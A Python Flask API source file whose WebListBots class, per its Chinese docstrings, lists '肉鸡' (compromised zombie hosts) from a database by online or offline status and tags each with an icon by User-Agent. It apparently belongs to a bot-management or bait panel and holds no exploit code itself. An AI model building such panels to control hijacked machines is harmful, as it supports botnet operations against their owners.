#!/bin/env python3
# -*- coding:utf-8 -*-
"""
    [模块名]
    Add By : cdj <e4ting@qq.com> 2021-07-14 17:57:18
"""
from flask_restful import Resource
from flask         import redirect,request,make_response

from urllib.parse import urlparse

from e4ting import util,log
# from common.utilredis import NewID
from e4ting.cache import UUIDCache
from models.mongos          import DB
from e4ting.task  import Anon

from core.webhook.events import EventBaitPot
from core.webhook.hooks  import HookSender

class WebListBots(Resource):
    """ 获取肉鸡列表 """

    def get(self, id=None):
        """ 返回肉鸡列表 """
        status = request.args.get("status", "online")
        if status == "online":
            items = DB.clients.get(online=True)
        elif status == "offline":
            items = DB.clients.get(online=False)
        elif status == "browser":
            items = DB.clients.search(**{"User-Agent":"Mozilla"})
        else:
            items = DB.clients.get()

        for item in items:
            if "python" in item.get("User-Agent", ""):
                item["preimg"] = "//img.e4ting.cn/files/upload/c36dccadd99982a2966ea22fe5a1a21c/python-logo-large.c36dccadd999.png"
            elif "curl" in item.get("User-Agent", ""):
                item["preimg"] = "//img.e4ting.cn/files/upload/7c086f6854a5141714dbe55f457fd178/curl.jpg"
            elif item.get("system", None) == "darwin":
                item["preimg"] = "//img.e4ting.cn/files/upload/18c20820f0ac8df484df61d49a49c1b5/mac-os-logo.png"
            elif item.get("version", None):
                item["preimg"] = "//img.e4ting.cn/files/upload/727a3c30b5f34931eadb8957faff6474/golang.png"
            elif item.get("system", None) == "linux":
                item["preimg"] = "//www.e4ting.cn/img/linux.png"
            else:
                item["preimg"] = "//img.e4ting.cn/files/upload/cb658a580cb575412e66a8b78816bd8d/chrome.svg"

        return {
            "code" : 200,
            "data"  : items,
        }
